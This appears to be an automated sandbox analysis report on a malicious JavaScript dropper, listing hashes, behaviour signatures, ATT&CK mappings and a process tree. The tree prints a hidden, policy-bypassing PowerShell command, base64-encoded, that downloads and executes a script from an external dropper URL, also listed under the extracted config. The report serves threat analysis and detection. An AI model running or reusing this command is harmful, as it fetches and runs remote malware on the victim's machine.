20895ef8afad999c8eedcaad1b426a1291dcc96616b971cde3fc669c8a5c4030

General

Target
2021APT-28_12042453.js
Size 63KB
Sample210729-sr99j4j4he
SHA256 20895ef8afad999c8eedcaad1b426a1291dcc96616b971cde3fc669c8a5c4030
MD5 8940d5f7c4768dcce6927c90dec68b10
SHA1 4ea7a8fae326b9e205f397d8703632d398924e60
SHA512 50022d8a9bcfaf10cb2095deac9cea0a80c02c727dcb7d5bbae8279c04fbd50482800272c81ef2db956c0c41347decc82be021c9f32e4fac1fe247c370e3456a
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	3484	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1524	3484	WerFault.exe	78

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3484	powershell.exe
3484	powershell.exe
3484	powershell.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe
1524	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	1524	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 4016	1892	wscript.exe	76
PID 1892 wrote to memory of 4016	1892	wscript.exe	76
PID 4016 wrote to memory of 3484	4016	cmd.exe	78
PID 4016 wrote to memory of 3484	4016	cmd.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_12042453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3484
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3484 -s 2296
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3484-121-0x00000142F7A20000-0x00000142F7A21000-memory.dmp

Download

memory/3484-128-0x00000142F7BD0000-0x00000142F7BD1000-memory.dmp

Download

memory/3484-134-0x00000142F5A13000-0x00000142F5A15000-memory.dmp

Download

memory/3484-133-0x00000142F5A10000-0x00000142F5A12000-memory.dmp

Download

memory/3484-135-0x00000142F5A16000-0x00000142F5A18000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads